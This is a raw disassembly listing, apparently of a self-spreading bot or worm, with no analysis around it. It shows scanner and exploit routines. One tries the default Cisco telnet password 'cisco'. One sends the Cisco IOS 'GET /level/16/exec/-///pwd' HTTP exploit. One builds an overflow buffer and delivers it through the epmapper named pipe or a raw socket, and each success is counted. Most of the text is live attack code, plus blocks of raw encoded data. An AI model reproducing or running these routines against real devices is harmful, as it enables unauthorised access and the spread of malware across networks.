call ds:dword_4441B0 ; select
push esi
mov edi, eax
call ds:dword_444218 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40BCEE: ; CODE XREF: sub_40BC56+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40BC56 endp
; ---------------------------------------------------------------------------
db 55h
dd 8C246C8Dh, 28CEC81h, 458B0000h, 5756537Ch, 0F08B536Ah
dd 24BD8D59h, 0F3FFFFFFh, 48758BA5h, 14880C7h, 10000h
dd 458B0000h, 7075894Ch, 0FF7C4589h, 42B03815h, 0A1E85000h
dd 8B00012Fh, 0DB6959DEh, 234h, 199E9h, 647D8300h, 0F745000h
dd 0FF24858Dh, 0E850FFFFh, 0FFFFFE66h, 0E805EB59h, 0FFFFFE16h
dd 7C75FF59h, 0B3FFF88Bh, 4444ECh, 573875FFh, 418815FFh
dd 8D500044h, 0FFFDE885h, 2B2468FFh, 0E8500043h, 12922h
dd 0FDE8858Dh, 8D50FFFFh, 4442E883h, 0FE85000h, 0FF000129h
dd 75FF3C75h, 0B3E85738h, 83FFFFFEh, 0F8832CC4h, 20850F01h
dd 83000001h, 75FF547Dh, 3FF06875h, 15FF004Dh, 42B070h
dd 573875FFh, 418815FFh, 8D500044h, 0FFFDE885h, 2AFC68FFh
dd 0E8500043h, 128CAh, 8310C483h, 7500607Dh, 0B47D8027h
dd 0FF016A00h, 858D5C75h, 0FFFFFDE8h, 0B4458D50h, 858D0675h
dd 0FFFFFF34h, 3475FF50h, 0FF5432E8h, 14C483FFh, 0FDE8858Dh
dd 0E850FFFFh, 0BF58h, 0F02404C7h, 0FF004D3Fh, 42B06C15h
dd 0A5E900h, 0FF570000h, 44418815h, 858D5000h, 0FFFFFE6Ch
dd 2868E850h, 458B0001h, 6E0C154h, 43D85805h, 858D5000h
dd 0FFFFFEFCh, 2850E850h, 0C4830001h, 0B47D8010h, 0B4458D00h
dd 858D0675h, 0FFFFFF34h, 7C858D50h, 50FFFFFEh, 12831E8h
dd 34458B00h, 0FE688589h, 458BFFFFh, 1885895Ch, 8BFFFFFFh
dd 59596045h, 0FF1C8589h, 458BFFFFh, 0BCEC8138h, 89000000h
dd 0FFFF0885h, 54458BFFh, 89592F6Ah, 0FFFF0CB5h, 108589FFh
dd 8DFFFFFFh, 0FFFE68B5h, 0C1FC8BFFh, 0A5F306E0h, 0D88490FFh
dd 758B0043h, 0BCC48170h, 68000000h, 7D0h, 0B01415FFh
dd 838B0042h, 4444ECh, 0F4C53C83h, 4D1Fh, 0FE53850Fh, 0E856FFFFh
dd 0FFFFF255h, 0FF006A59h, 42B06815h
db 0, 0CCh
word_40BEFE dw 8D55h ; DATA XREF: sub_40274D+1D8Fo
; sub_40274D+5963o
dd 818C246Ch, 1CCECh, 7C458B00h, 6A575653h, 0F08B5953h
dd 0BD8DDB33h, 0FFFFFF28h, 8943A5F3h, 14498h, 28858D00h
dd 50FFFFFFh, 417C15FFh, 4D8B0044h, 4CEC8148h, 89000001h
dd 1FF0CD04h, 536A004Dh, 28B58D59h, 8BFFFFFFh, 0E8A5F3FCh
dd 0FFFFF73Ch, 1AE80B6Ah, 81FFFFF1h, 150C4h, 75C33B00h
dd 3FF0BE6Ch, 0FF56004Dh, 42B07815h, 4006800h, 0FF568000h
dd 42B07415h, 75C08500h, 0A8858D50h, 68FFFFFEh, 432C08h
dd 2714E850h, 0DB330001h, 59645D39h, 531D7559h, 8D6075FFh
dd 0FFFEA885h, 858D50FFh, 0FFFFFF38h, 3875FF50h, 0FF5286E8h
dd 14C483FFh, 0FEA8858Dh, 0E850FFFFh, 0BDACh, 335E5F59h
dd 0C5835BC0h, 4C2C974h, 48458B00h, 0B014358Bh, 1C890042h
dd 4D1FF4C5h, 33FB8B00h, 547D83DBh, 0A4820F01h, 57000000h
dd 8D4875FFh, 0FFFF2885h, 3C75FFFFh, 50507D89h, 0FEA8858Dh
dd 0D468FFFFh, 5000432Bh, 12695E8h, 858D5300h, 0FFFFFEA8h
dd 0E8500B6Ah, 0FFFFEE65h, 89484D8Bh, 0C0694C45h, 234h
dd 5324C483h, 0EC888953h, 8D004444h, 0FFFF2885h, 0F36850FFh
dd 530040BCh, 3C15FF53h, 8B0042B0h, 0C9694C4Dh, 234h, 8189C33Bh
dd 4444FCh, 15FF4C75h, 42B01Ch, 0A8858D50h, 68FFFFFEh
dd 432B9Ch, 2630E850h, 858D0001h, 0FFFFFEA8h, 0BCEEE850h
dd 0C4830000h, 0FF1E6A10h, 7D3B47D6h, 5C860F54h, 39FFFFFFh
dd 2074445Dh, 6944458Bh, 0EA60C0h, 0D6FF5000h, 1E6A1FEBh
dd 5D39D6FFh, 0EBF77470h, 7D068D4h, 0D6FF0000h, 8348458Bh
dd 1FF4C53Ch, 7401004Dh, 4475FFECh, 0FF48458Bh, 48B3C75h
dd 4D1FF0C5h, 15FF5000h, 444188h, 0A8858D50h, 68FFFFFEh
dd 432B5Ch, 25B8E850h, 0C4830001h, 645D3914h, 0FF531D75h
dd 858D6075h, 0FFFFFEA8h, 38858D50h, 50FFFFFFh, 0E83875FFh
dd 0FFFF512Bh, 8D14C483h, 0FFFEA885h, 51E850FFh, 8B0000BCh
dd 1C894845h, 4D1FF4C5h, 2404C700h, 0BB8h, 0B6AD6FFh, 0FFEF3CE8h
dd 1F883FFh, 680B7559h, 4D3FF0h, 0B07815FFh, 75FF0042h
dd 0EFF7E848h, 5359FFFFh, 0B06815FFh
db 42h, 0, 0CCh
byte_40C15B db 55h ; DATA XREF: sub_40274D+2EC6o
dd 8C246C8Dh, 3F0EC81h, 458B0000h, 5756537Ch, 8B594B6Ah
dd 40BD8DF0h, 0F3FFFFFFh, 2880C7A5h, 1000001h, 8D000000h
dd 0FFFF4085h, 15FF50FFh, 44417Ch, 3D39FF33h, 43D880h
dd 896C4589h, 7D89707Dh, 0F840F7Ch, 0BE000001h, 43D880h
dd 43D858BBh, 5875FF00h, 75FF36FFh, 0FA98E86Ch, 0C483FFFFh
dd 1F8830Ch, 0DB850Fh, 36FF0000h, 0FF40858Dh, 8D50FFFFh
dd 8D500A43h, 0FFFC8485h, 2C7068FFh, 0E8500043h, 124BEh
dd 6075FF57h, 0FC84858Dh, 8D50FFFFh, 0FFFF5085h, 75FF50FFh
dd 5039E850h, 858DFFFFh, 0FFFFFC84h, 0BB62E850h, 858D0000h
dd 0FFFFFF40h, 88858D50h, 50FFFFFEh, 12485E8h, 18858D00h
dd 53FFFFFFh, 2478E850h, 0C4830001h, 0D07D803Ch, 0D0458D00h
dd 858D0675h, 0FFFFFF50h, 98858D50h, 50FFFFFEh, 12459E8h
dd 50458B00h, 0FE848589h, 458BFFFFh, 34858960h, 8BFFFFFFh
dd 89596445h, 0FFFF3885h, 59068BFFh, 0FF248589h, 458BFFFFh
dd 0BCEC815Ch, 89000000h, 0FFFF2885h, 7C458BFFh, 89592F6Ah
dd 0FFFF2C85h, 84B58DFFh, 8BFFFFFEh, 0FFA5F3FCh, 0C4812C53h
dd 0BCh, 337045FFh, 7C45FFFFh, 8D40C383h, 3E392873h, 0FEFB850Fh
dd 75FFFFFFh, 40858D70h, 50FFFFFFh, 0FC84858Dh, 3C68FFFFh
dd 5000432Ch, 123D5E8h, 75FF5700h, 84858D60h, 50FFFFFCh
dd 0FF50858Dh, 0FF50FFFFh, 50E85075h, 8DFFFF4Fh, 0FFFC8485h
dd 79E850FFh, 0FF0000BAh, 4AE85C75h, 83FFFFEEh, 0FF572CC4h
dd 42B06815h, 8D55CC00h, 818C246Ch, 0BCECh, 7C458B00h
dd 2B6A5756h, 8DF08B59h, 0A5F3B87Dh, 6A46F633h, 0A8B08910h
dd 8D000000h, 6A6445h, 22B6E850h, 0C4830001h, 3C75FF0Ch
dd 6445C766h, 15FF0002h, 444260h, 8966066Ah, 458B6645h
dd 26A564Ch, 0FF684589h, 44410015h, 83F08B00h, 5974FFFEh
dd 458D106Ah, 0FF565064h, 4440AC15h, 484D8B00h, 234C969h
dd 0F8830000h, 0F4B189FFh, 74004444h, 3C75FF38h, 0FF4C75FFh
dd 44418815h, 0A0685000h, 0BF00432Ch, 4D49B0h, 2300E857h
dd 6A0001h, 8D5475FFh, 5057BC45h, 0E8B875FFh, 0FFFF4E83h
dd 0B9B2E857h, 0C4830000h, 15FF5628h, 444218h, 5EC0335Fh
dd 0C974C583h
db 0C2h, 4, 0
byte_40C3D3 db 55h ; DATA XREF: sub_40274D+5D4Bo
dd 8C246C8Dh, 134EC81h, 8B530000h, 57567C5Dh, 8B592B6Ah
dd 0C07D8DF3h, 358BA5F3h, 42B014h, 0A483C7h, 10000h, 0FF330000h
dd 0FF4475FFh, 15FF5475h, 444188h, 40858D50h, 68FFFFFFh
dd 432CC8h, 2288E850h, 0FF680001h, 8D000001h, 0FFFF4085h
dd 458B50FFh, 34C06950h, 5000002h, 4442E8h, 2422E850h
dd 0C4830001h, 6C458D1Ch, 458D5750h, 0A6850C0h, 570040C3h
dd 3C15FF57h, 3B0042B0h, 704589C7h, 4EB0B74h, 0D6FF326Ah
dd 74687D39h, 7075FFF7h, 0B00415FFh, 0B3FF0042h, 8Ch, 0A8BB89h
dd 0D6FF0000h, 458D046Ah, 458D5054h, 71E8507Ch, 8300012Fh
dd 75FF0CC4h, 0DC15FF7Ch, 40004441h, 7C458950h, 423415FFh
dd 45890044h, 8D046A7Ch, 8D507C45h, 0E8505445h, 12F48h
dd 0E90CC483h, 0FFFFFF40h
dword_40C4C0 dd 246C8D55h, 30EC818Ch, 53000001h, 567C5D8Bh, 592B6A57h
; DATA XREF: sub_40274D+5A65o
dd 7D8DF38Bh, 8BA5F3C4h, 42B01435h, 0A483C700h, 1000000h
dd 33000000h, 4875FFFFh, 0FF5875FFh, 44418815h, 858D5000h
dd 0FFFFFF44h, 432D1C68h, 9BE85000h, 68000121h, 1FFh, 0FF44858Dh
dd 8B50FFFFh, 0C0695445h, 234h, 4442E805h, 35E85000h, 83000123h
dd 458D1CC4h, 8D575070h, 6850C445h, 40C30Ah, 15FF5757h
dd 42B03Ch, 4589C73Bh, 0EB0B747Ch, 0FF326A04h, 6C7D39D6h
dd 75FFF774h, 415FF7Ch, 0FF0042B0h, 8CB3h, 0A8BB8900h
dd 0FF000000h, 48458BD6h, 744C453Bh, 4845FF08h, 0FFFF70E9h
dd 5875FFFFh, 418815FFh, 8D500044h, 0FFFF4485h, 2CF068FFh
dd 0E8500043h, 1210Eh, 6075FF57h, 0FF44858Dh, 8D50FFFFh
dd 0FF50C845h, 8CE8C475h, 0FFFFFF4Ch, 92E85475h, 83FFFFEBh
dd 5E5F24C4h, 835BC033h, 0C2C974C5h
db 4, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 290h
push esi
push edi
xor esi, esi
push esi
push 1
push 2
call ds:dword_444100 ; socket
mov edi, eax
cmp edi, esi
jl loc_40C72B
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-10h], 2
call ds:dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call ds:dword_444260 ; htons
mov [ebp-0Eh], ax
push 10h
lea eax, [ebp-10h]
push eax
push edi
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40C72B
push 40h
lea eax, [ebp-50h]
push esi
push eax
call sub_41E5F0
push 40h
lea eax, [ebp-90h]
push esi
push eax
call sub_41E5F0
add esp, 18h
push esi
push 40h
lea eax, [ebp-50h]
push eax
push edi
call ds:dword_444064 ; recv
test eax, eax
jle loc_40C72B
push esi
push 40h
lea eax, [ebp-50h]
push eax
push edi
call ds:dword_444064 ; recv
push esi
push 6
push offset aCisco ; "cisco\r"
push edi
call ds:dword_4441A0 ; send
push esi
push 40h
lea eax, [ebp-90h]
push eax
push edi
call ds:dword_444064 ; recv
push 6
lea eax, [ebp-90h]
push offset aPass ; "\r\nPass"
push eax
call sub_41F780
add esp, 0Ch
test eax, eax
jz short loc_40C72B
push 28h
lea eax, [ebp-50h]
push offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"...
push eax
call sub_41F780
add esp, 0Ch
test eax, eax
jnz short loc_40C72B
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aNetbios ; "NetBios"
push eax
push offset unk_432D48
lea eax, [ebp-290h]
push 200h
push eax
call sub_41E6FE
push esi
push dword ptr [ebp+0B8h]
lea eax, [ebp-290h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40123B
lea eax, [ebp-290h]
push eax
call sub_417D70
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
add esp, 2Ch
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_40C72D
; ---------------------------------------------------------------------------
loc_40C72B: ; CODE XREF: seg000:0040C5E2j
; seg000:0040C62Aj ...
xor eax, eax
loc_40C72D: ; CODE XREF: seg000:0040C729j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1210h
call sub_41EA20
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 1
push 2
call ds:dword_444100 ; socket
mov edi, eax
cmp edi, ebx
jl loc_40C894
push 10h
lea eax, [ebp-10h]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-10h], 2
call ds:dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call ds:dword_444260 ; htons
mov [ebp-0Eh], ax
push 10h
lea eax, [ebp-10h]
push eax
push edi
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40C894
push ebx
mov esi, offset aGetLevel16Exec ; "GET /level/16/exec/-///pwd HTTP/1.0\n\n"
push esi
call sub_41E1C0
pop ecx
push eax
push esi
push edi
call ds:dword_4441A0 ; send
test eax, eax
jl loc_40C894
mov esi, 1000h
push esi
lea eax, [ebp-1210h]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push ebx
push esi
lea eax, [ebp-1210h]
push eax
push edi
call ds:dword_444064 ; recv
mov esi, eax
cmp esi, ebx
jl loc_40C894
push edi
call ds:dword_444218 ; closesocket
cmp esi, 5
jl loc_40C894
lea eax, [ebp-1210h]
push offset aHttp1_0200Ok ; "HTTP/1.0 200 OK"
push eax
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40C894
lea eax, [ebp-1210h]
push offset aCisco_0 ; "cisco"
push eax
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40C894
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aNetbios ; "NetBios"
push eax
push offset unk_432DAC
lea eax, [ebp-210h]
push 200h
push eax
call sub_41E6FE
push ebx
push dword ptr [ebp+0B8h]
lea eax, [ebp-210h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40123B
lea eax, [ebp-210h]
push eax
call sub_417D70
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
add esp, 2Ch
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_40C896
; ---------------------------------------------------------------------------
loc_40C894: ; CODE XREF: seg000:0040C752j
; seg000:0040C79Aj ...
xor eax, eax
loc_40C896: ; CODE XREF: seg000:0040C892j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C89B proc near ; CODE XREF: seg000:0040CC6Fp
; seg000:004105B1p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432E14
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_432E0C ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
mov ecx, 8Ah
lea edi, [ebp+var_34E]
rep stosd
push 45h
stosw
pop ecx
xor ebx, ebx
xor eax, eax
mov [ebp+var_124], bl
lea edi, [ebp+var_123]
rep stosd
stosw
push 0FFh
stosb
lea eax, [ebp+var_124]
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push ebx
push ebx
call ds:dword_42B07C ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41F838
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41F838
mov esi, [ebp+arg_4]
add esp, 10h
lea eax, [ebp+var_354]
push ebx
mov [esi+14h], eax
mov eax, offset dword_432E08
push eax
push eax
push esi
mov [esi+4], ebx
mov [esi+10h], ebx
mov [esi+1Ch], ebx
call ds:dword_444240
cmp eax, 5
mov edi, 4C3h
jz short loc_40C95A
cmp eax, edi
jnz short loc_40C964
loc_40C95A: ; CODE XREF: sub_40C89B+B9j
push ebx
push ebx
push ebx
push esi
call ds:dword_444240
loc_40C964: ; CODE XREF: sub_40C89B+BDj
cmp eax, 5
jz short loc_40C972
cmp eax, edi
jz short loc_40C972
xor eax, eax
inc eax
jmp short loc_40C974
; ---------------------------------------------------------------------------
loc_40C972: ; CODE XREF: sub_40C89B+CCj
; sub_40C89B+D0j
xor eax, eax
loc_40C974: ; CODE XREF: sub_40C89B+D5j
pop edi
pop esi
pop ebx
leave
retn
sub_40C89B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C979 proc near ; CODE XREF: seg000:0040CCC1p
; seg000:0040CDA1p ...
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432E14
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_432E0C ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
mov ecx, 8Ah
lea edi, [ebp+var_34E]
rep stosd
push 45h
stosw
pop ecx
xor ebx, ebx
xor eax, eax
mov [ebp+var_124], bl
lea edi, [ebp+var_123]
rep stosd
stosw
push 0FFh
stosb
lea eax, [ebp+var_124]
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push ebx
push ebx
call ds:dword_42B07C ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41F838
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41F838
add esp, 10h
jmp short loc_40CA13
; ---------------------------------------------------------------------------
loc_40CA08: ; CODE XREF: sub_40C979+ABj
push 7D0h
call ds:dword_42B014 ; Sleep
loc_40CA13: ; CODE XREF: sub_40C979+8Dj
push ebx
lea eax, [ebp+var_354]
push ebx
push eax
call ds:dword_444090
test eax, eax
jnz short loc_40CA08
pop edi
pop esi
inc eax
pop ebx
leave
retn
sub_40C979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA2C proc near ; CODE XREF: seg000:0040CCEDp
; seg000:0040CE2Ep
var_2000 = byte ptr -2000h
var_1FDC = byte ptr -1FDCh
var_1FD0 = byte ptr -1FD0h
var_1F29 = byte ptr -1F29h
var_1000 = byte ptr -1000h
var_FF8 = dword ptr -0FF8h
var_FF0 = dword ptr -0FF0h
var_F80 = dword ptr -0F80h
var_F7C = dword ptr -0F7Ch
var_F4C = dword ptr -0F4Ch
var_F48 = dword ptr -0F48h
var_F30 = dword ptr -0F30h
var_E74 = dword ptr -0E74h
var_CA0 = dword ptr -0CA0h
var_C98 = dword ptr -0C98h
var_C90 = byte ptr -0C90h
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 2000h
call sub_41EA20
push ebx
push esi
push edi
push 30h
lea eax, [ebp+var_2000]
push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push eax
mov edi, 0A7h
call sub_41F400
push edi
lea eax, [ebp+var_1FD0]
push 0FFFFFF90h
push eax
call sub_41E5F0
push 159h
mov ebx, offset dword_43E628
lea eax, [ebp+var_1F29]
push ebx
push eax
call sub_41F400
add esp, 24h
loc_40CA7D: ; CODE XREF: sub_40CA2C+9Bj
push 30h
lea eax, [ebp+var_2000]
push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push eax
inc edi
call sub_41F400
push edi
lea eax, [ebp+var_1FD0]
push 0FFFFFF90h
push eax
call sub_41E5F0
push 159h
lea eax, [ebp+edi+var_1FD0]
push ebx
push eax
call sub_41F400
add esp, 24h
lea esi, [edi+189h]
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jnz short loc_40CA7D
cmp [ebp+arg_C4], 0
jz short loc_40CAE4
cmp [ebp+arg_C0], 3
jz short loc_40CAED
cmp [ebp+arg_C0], 0
jmp short loc_40CAEB
; ---------------------------------------------------------------------------
loc_40CAE4: ; CODE XREF: sub_40CA2C+A4j
cmp [ebp+arg_C0], 3
loc_40CAEB: ; CODE XREF: sub_40CA2C+B6j
jnz short loc_40CAF6
loc_40CAED: ; CODE XREF: sub_40CA2C+ADj
push 4
push offset dword_43E624
jmp short loc_40CAFD
; ---------------------------------------------------------------------------
loc_40CAF6: ; CODE XREF: sub_40CA2C:loc_40CAEBj
push 4
push offset dword_43E620
loc_40CAFD: ; CODE XREF: sub_40CA2C+C8j
lea eax, [ebp+var_1FDC]
push eax
call sub_41F400
add esp, 0Ch
push 360h
lea eax, [ebp+var_1000]
push offset dword_43E158
push eax
call sub_41F400
push 10h
lea eax, [ebp+var_CA0]
push offset dword_43E4BC
push eax
call sub_41F400
push esi
lea eax, [ebp+var_2000]
push eax
lea eax, [ebp+var_C90]
push eax
call sub_41F400
push 3Ch
lea edi, [esi+370h]
lea eax, [ebp+edi+var_1000]
push offset off_43E4D0
push eax
call sub_41F400
push 30h
add edi, 3Ch
lea eax, [ebp+edi+var_1000]
push offset dword_43E510
push eax
call sub_41F400
mov eax, esi
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA0], eax
add [ebp+var_C98], eax
mov eax, [ebp+var_FF8]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF8], eax
mov eax, [ebp+var_FF0]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF0], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F7C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F7C], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F48]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F48], eax
mov eax, [ebp+var_F30]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F30], eax
mov eax, [ebp+var_E74]
lea eax, [eax+esi-0Ch]
add edi, 30h
lea esi, [edi+1]
push esi
mov [ebp+var_E74], eax
call sub_41E5D3
add esp, 40h
push esi
mov ebx, eax
push 0
push ebx
call sub_41E5F0
push edi
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41F400
mov eax, [ebp+arg_BC]
mov [eax], edi
add esp, 18h
mov eax, ebx
pop edi
pop esi
pop ebx
leave
retn
sub_40CA2C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1138h
call sub_41EA20
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40CDB5
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40C89B
test eax, eax
pop ecx
pop ecx
jz loc_40CEC5
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-138h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_41E6A6
add esp, 0Ch
xor ebx, ebx
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
lea eax, [ebp-138h]
push eax
call ds:dword_42B08C ; CreateFileA
mov [ebp-4], eax
cmp eax, 0FFFFFFFFh
lea eax, [ebp+0Ch]
jnz short loc_40CCCC
loc_40CCC0: ; CODE XREF: seg000:0040CD6Dj
push eax
call sub_40C979
pop ecx
jmp loc_40CEC5
; ---------------------------------------------------------------------------
loc_40CCCC: ; CODE XREF: seg000:0040CCBEj
push 2
push eax
call sub_41AA0A
pop ecx
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40CA2C
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40CD61
mov edi, 186A0h
push edi
call sub_41E5D3
push edi
mov esi, eax
push ebx
push esi
call sub_41E5F0
add esp, 10h
push ebx
lea eax, [ebp-0Ch]
push eax
mov edi, 2710h
push edi
push esi
push 48h
push offset dword_43E108
push dword ptr [ebp-4]
call ds:dword_42B088 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_40CD51
push ebx
lea eax, [ebp-14h]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call ds:dword_42B084 ; WriteFile
test eax, eax
jnz short loc_40CD72
loc_40CD51: ; CODE XREF: seg000:0040CD37j
push esi
call sub_41E2A1
push dword ptr [ebp-8]
call sub_41E2A1
pop ecx
pop ecx
loc_40CD61: ; CODE XREF: seg000:0040CCFDj
push dword ptr [ebp-4]
call ds:dword_42B004 ; CloseHandle
lea eax, [ebp+0Ch]
jmp loc_40CCC0
; ---------------------------------------------------------------------------
loc_40CD72: ; CODE XREF: seg000:0040CD4Fj
push ebx
lea eax, [ebp-0Ch]
push eax
push edi
push esi
push dword ptr [ebp-4]
call ds:dword_42B080 ; ReadFile
push dword ptr [ebp-8]
mov edi, eax
call sub_41E2A1
push esi
call sub_41E2A1
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_42B004 ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40C979
cmp edi, 1
pop ecx
jnz loc_40CED6
jmp loc_40CEC5
; ---------------------------------------------------------------------------
loc_40CDB5: ; CODE XREF: seg000:0040CC61j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_41AA0A
mov esi, eax
cmp esi, 1
pop ecx
pop ecx
jz loc_40CEC5
xor ebx, ebx
push ebx
push 1
push 2
call ds:dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40CEC5
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push dword ptr [ebp+0A8h]
mov word ptr [ebp-24h], 2
call ds:dword_444260 ; htons
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_44417C ; inet_addr
push ebx
push esi
mov [ebp-20h], eax
lea eax, [ebp-0Ch]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40CA2C
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40CE47
push dword ptr [ebp-4]
jmp short loc_40CEBF
; ---------------------------------------------------------------------------
loc_40CE47: ; CODE XREF: seg000:0040CE40j
mov edi, [ebp-4]
push 10h
lea eax, [ebp-24h]
push eax
push edi
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40CE5F
loc_40CE5C: ; CODE XREF: seg000:0040CE71j
push esi
jmp short loc_40CEB8
; ---------------------------------------------------------------------------
loc_40CE5F: ; CODE XREF: seg000:0040CE5Aj
push ebx
push 48h
push offset dword_43E108
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40CE5C
push ebx
mov esi, 1000h
push esi
lea eax, [ebp-1138h]
push eax
push edi
call ds:dword_444064 ; recv
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40CEA0
push dword ptr [ebp-8]
jmp short loc_40CEB8
; ---------------------------------------------------------------------------
loc_40CEA0: ; CODE XREF: seg000:0040CE99j
push ebx
push esi
lea eax, [ebp-1138h]
push eax
push edi
call ds:dword_444064 ; recv
cmp eax, 0FFFFFFFFh
push dword ptr [ebp-8]
jnz short loc_40CEC9
loc_40CEB8: ; CODE XREF: seg000:0040CE5Dj
; seg000:0040CE9Ej
call sub_41E2A1
pop ecx
push edi
loc_40CEBF: ; CODE XREF: seg000:0040CE45j
call ds:dword_444218 ; closesocket
loc_40CEC5: ; CODE XREF: seg000:0040CC78j
; seg000:0040CCC7j ...
xor eax, eax
jmp short loc_40CF19
; ---------------------------------------------------------------------------
loc_40CEC9: ; CODE XREF: seg000:0040CEB6j
call sub_41E2A1
pop ecx
push edi
call ds:dword_444218 ; closesocket
loc_40CED6: ; CODE XREF: seg000:0040CDAAj
push 1F4h
call ds:dword_42B014 ; Sleep
push 7C7h
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz short loc_40CF16
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
loc_40CF16: ; CODE XREF: seg000:0040CF03j
xor eax, eax
inc eax
loc_40CF19: ; CODE XREF: seg000:0040CEC7j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
